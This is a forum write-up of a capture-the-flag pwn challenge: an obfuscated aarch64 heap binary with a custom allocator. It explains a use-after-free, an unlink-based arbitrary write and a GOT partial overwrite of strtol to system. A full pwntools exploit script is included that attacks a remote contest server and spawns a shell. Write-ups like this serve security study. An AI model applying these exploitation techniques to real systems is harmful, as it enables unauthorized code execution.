首页
社区
课程
招聘
[原创]看雪.深信服 2021 KCTF 春季赛 第九题 平定战乱
2021-5-26 15:55 8790

[原创]看雪.深信服 2021 KCTF 春季赛 第九题 平定战乱

2021-5-26 15:55
8790

pwn题二连:

1
2
$ file main
main: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, stripped
1
2
3
4
5
6
$ checksec main
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

linux aarch64的elf文件,没开pie(所以text段和data段地址固定),没开full relro(所以got表可写),开了NX(数据不可执行,但是否生效要看环境)


 

菜单堆题
ida逆向,发现开了ollvm混淆,找了几个去混淆的工具,要么跑不起来,要么没效果/有问题(求推荐目前最好用的去混淆工具)

 

直接硬看,识别出几个函数:
sub_403CE0:add
sub_404400:edit
sub_4041B4:delete
sub_403908:readline,遇到\n结尾则改成\0,不以\n结尾则不变(所以没有0截断)
sub_403B10:readint,先readline然后对字符串调用strtol
sub_402058:自己实现的malloc
sub_400994:自己实现的free

 

add:分配的堆块指针保存在0x4161B0开始的char *数组的第一个空位置,最多能保存16个;size保存在0x4160AC开始的unsigned int数组中
edit:给一个[0, 16)的index,如果对应index的位置不为空则可以写入最多size个字节
delete:给一个[0, 16)的index,free掉对应index的堆块

 

漏洞在delete中,free后没有把指针置零,后续的edit仍能写入,造成UAF


 

malloc和free比较复杂,混淆去不掉根本看不动。搭环境动态调试,在ubuntu上可以直接安装:

1
apt-get install qemu-user libc6-arm64-cross gdb-multiarch

启动:

1
qemu-aarch64 -L /usr/aarch64-linux-gnu ./main

调试:

1
2
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./main
gdb-multiarch -ex "target remote localhost:1234"

 

经过反复试验,堆的设计应该是这样的:

1
2
3
4
5
6
struct chunk {
    uint64_t prev_size;
    uint64_t size;
    uintptr_t fd;
    uintptr_t bk;
};

与glibc的堆很相似,chunk按照内存地址从小到大连续排布,根据prev_size和size可以找到前一个和后一个堆块。

 

在malloc时,用户传入的size先向上对齐到16字节,然后再加上16字节(用来保存prev_size和size),对应到最终分配的chunk的size
size域的最低一个bit指示前一个堆块是否空闲,1表示前一个堆块是空闲的,0表示前一个堆块在使用中(与glibc的PREV_INUSE正好相反)
返回给用户的指针指向chunk的fd域

 

free的堆块由fd和bk组成双向链表,注意fd和bk指向的是chunk的fd域的地址而不是头部,全局变量0x416190(也是一个struct chunk结构)是链表的头(与glibc的unsorted_bin类似)。链表为空时0x416190的fd和bk都指向自己的fd域的地址(0x4161A0)。

 

对同样大小的chunk,0x416110的数组的对应下标保存了指向最后释放的chunk的头部(prev_size域)的指针(类似于glibc的fastbin)。
0x4160A0保存着当前已分配区域的末尾的指针(类似于glibc的topchunk)

 

free的过程:
把堆块从尾部插入"unsorted bin"(从0x416190的bk开始),然后同时插入对应size的"fastbin"中(如果"fastbin"该位置非空,替换之)

 

malloc的过程:

  1. 如果"fastbin"里该大小的位置非空,则优先从这里取chunk
  2. 否则,倒序遍历"unsorted bin"链表(从0x416190的bk开始),找第一个size与待分配大小 完全相等 的堆块,如果找到,将其从双向链表解链(unlink),返回
  3. 否则,从"topchunk"分配堆块,然后抬升0x4160A0指针

整个堆分配器没有堆块的拆分与合并


 

UAF能任意覆盖fd和bk(注意输入没有0截断),很容易想到2.23时代针对双向链表的经典攻击方法unlink:
假设当前堆块是P,则把P从双链表解链的操作为:

1
2
3
4
NEXT = P->fd
PREV = P->bk
NEXT -> bk = PREV
PREV->fd = NEXT

因此如果能控制P->fd和P->bk,就有机会实现任意写

 

但是,malloc和free中有很多检查需要bypass掉:

1
2
3
4
5
6
7
8
"Size check!"
"Wrong heap! "
"Wrong ptr!"
"Wrong size!"
"Wrong next_chunk size!"
"Wrong pre_chunk size!"
"Double link list error!"
"Top chunk error!"

看描述,这些检查其实glibc里也有,只是不知道题目里的触发时机和条件是否和glibc一样。

 

(堆块的分配原理可以通过动态调试看出来,但这些检查就不容易看出来了(因为正常情况下不会触发)。OLLVM的恶心之处在这里才真正体现出来,如果没有混淆,通过静态分析能很容易找出这些检查在什么情况下会触发)

 

混淆去不掉,只好猜+动态调试验证。

 

"Double link list error!":双链表完整性检查,一般发生在即将解链的时候,检查P->fd->bk == P && P->bk->fd == P。题目里的fd和bk指向的是chunk的fd域,因此有一点微调,但基本一致,可以用经典方法绕过。

 

"Size check!":在用2.23常规堆题的经典unlink方法试验时总是触发这个错误,完全搞不明白,但好像把待unlink的堆块的fd指向的堆块的下一个堆块的size赋值正确就能通过这个检查?

 

另外注意到malloc里有很对对size域& 0xF0的操作很可疑,因此怀疑size域实际上只有最低的一个字节有用,试验发现确实如此。


 

下面开始构造,这是全局的content数组:

 

0x4161B0:index 0
0x4161B8:index 1
0x4161C0:index 2
0x4161C8:index 3
0x4161D0:index 4 fakechunk2
0x4161D8:index 5 fakechunk2
0x4161E0:index 6 fakechunk2
0x4161E8:index 7 fakechunk2 -> 0x4161C0 (-> changed to 0x416200)
0x4161F0:index 8 fakechunk3
0x4161F8:index 9 fakechunk3
0x416200:index 10 fakechunk3 -> 0x4161C0 (-> changed to 0x4161E0)
0x416208:index 11 fakechunk3
0x416210:index 12 fakechunk4
0x416218:index 13 fakechunk4
0x416220:index 14
0x416228:index 15

 

注意到第一次分配的堆块的地址总是0x30结尾,因此先add(0xe0, "0")分配一个0xf0大小的堆块,这样第二个堆块的地址就会以0x120结尾
然后不断的add(0x10)再delete,将index 1到index 13的全部填充为同一个大小为0x20的堆块地址,且这个地址恰好也以0x20结尾

 

然后直接用libc2.23时代的经典unlink攻击:UAF修改这个堆块的fd为0x4161E0,bk为0x416200(因为程序没开pie,所以这两个地址是固定的)
注意(P->fd - 0x10)->bk = 0x4161D0->bk = (0x4161E8) = P, (P->bk - 0x10)->fd = 0x4161F0->fd = *(0x416200) = P,满足双向链表的完整性检查
另外保证0x4161D8、0x4161F8、0x416218三个地方& 0xF0以后等于0x20,保证不出现"Size Check!"
(实际上应该用不到这么多堆块,这里为了不深究检查的触发条件就多构造了一些值)

 

然后分配一个新的0x20大小的堆块(malloc(0x10)),触发unlink,结果是0x416200处的值被修改为了0x4161E0,0x4161E8处的值被修改为了0x416200

 

至此得到了任意写:(受限于readline的\n截断,待写入的地址和值不能包含"\n")
先通过index 10把0x4161E0(index6)的值改为目标地址,再通过index6向目标地址写内容


 

下一步是如何通过任意写获得shell,在题目给出libc之后变得非常简单:
查到strtol在libc的偏移是0x358a8,system在libc的偏移是0x3dda8,二者相差不超过0x10000,因此经过地址随机化之后有概率保证地址的高6字节都相同。
对于地址的低16位,其中低12位是不受随机化影响的,剩下的四位可以爆破
利用任意写,只改低2个字节(partial overwrite,也是经典方法),有1/16的概率把strtol的got表值覆盖为system函数的地址。而strtol在readint时被调用,第一个参数是给菜单的输入,是完全可控的,可以输入"/bin/sh"获得shell


 

最终的exp:(1/16的成功率)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
 
def add(size, content):
    global s
    s.sendlineafter("1. add\n2. delete\n3. edit\n4. exit\nYour choice: ", "1")
    s.sendlineafter("Size: ", str(size))
    s.sendafter("Content: ", content)
 
def delete(index):
    global s
    s.sendlineafter("1. add\n2. delete\n3. edit\n4. exit\nYour choice: ", "2")
    s.sendlineafter("Index: ", str(index))
 
def edit(index, content):
    global s
    s.sendlineafter("1. add\n2. delete\n3. edit\n4. exit\nYour choice: ", "3")
    s.sendlineafter("Index: ", str(index))
    s.sendafter("Content: ", content)
 
 
s = remote("121.36.145.157", 55555)
 
add(0xe0, "0")
add(0x10, "1")
delete(1)
add(0x10, "2")
delete(2)
add(0x10, "3")
delete(3)
add(0x10, "4")
delete(4)
add(0x10, "5")
delete(5)
add(0x10, "6")
delete(6)
add(0x10, "7")
delete(7)
add(0x10, "8")
delete(8)
add(0x10, "9")
delete(9)
add(0x10, "10")
delete(10)
add(0x10, "11")
delete(11)
add(0x10, "12")
delete(12)
add(0x10, "13")
delete(13)
 
edit(4, p64(0x4161E0)+p64(0x416200))
 
add(0x10, "14")
 
 
def writeq(addr, value):
    edit(10, p64(addr))
    edit(6, p64(value) if type(value)==int else value)
 
def writebytes(addr, b):
    for i in range(0, len(b), 8):
        writeq(addr+i, b[i:i+8])
 
 
writebytes(0x416040, b"\xa8\xdd")
s.sendlineafter("1. add\n2. delete\n3. edit\n4. exit\nYour choice: ", "/bin/sh")
 
s.interactive()


 

后记:

 

因为题目刚开始没给libc,所以在获得任意写之后首先思考的是如何leak,然而程序里没有输出堆块内容的函数。
考虑过通过修改stdout泄露、dl-resolve直接搞system,觉得都不可行。

 

利用任意写改掉got表函数地址的最低字节然后看程序能否正常运行,搞出了部分函数的最低字节地址,然后去libc database搜索并没有结果(看了题目最后给出的libc,是linaro的,大概database里没收录)

 

考虑题目是不是偷懒用qemu-aarch64启动的(如果是这样,NX和ASLR都是无效的,也就是说可以直接在bss段写shellcode跳过去),本地成功了远程不行,沟通后确认远程是用qemu-system-aarch64启动的(偷鸡失败)。

 

直接猜system函数低12位的地址爆破:看了多个版本的libc,strtol和system的距离都很近,这样只要猜对就有1/16的概率成功,而aarch64 libc的导出函数都是0或8结尾,所以开512个进程爆破应该是可以接受的。
太过暴力,想了想还是决定先放了,厚颜无耻的询问能否提供libc(打算如果不给再爆破),然后出题方很大方的给了。


 

题目不给libc应该是想考察如何获得任意读。这一点最开始确实没反应过来,沟通后才恍然大悟:
前面获得shell的方法是把strtol覆盖为system,利用第一个参数可控传入"/bin/sh"字符串。
由于第一个参数可控,如果把strtol覆盖为printf在plt表的地址,就得到了一个格式化字符串漏洞(而且格式化串在栈上,还能反复利用),可以任意地址读/写。

 

利用任意读,可以遍历linkmap获得libc的基地址(linkmap的地址保存在got表前面,0x415ff0处,linkmap+0x18是指向下一个linkmap的指针,linkmap+0x8是指向共享库的名称的指针,limkmap+0x0是共享库的基地址),然后dump出libc的文件头或者用pwntools的DynELF获得system函数的偏移


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞5
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回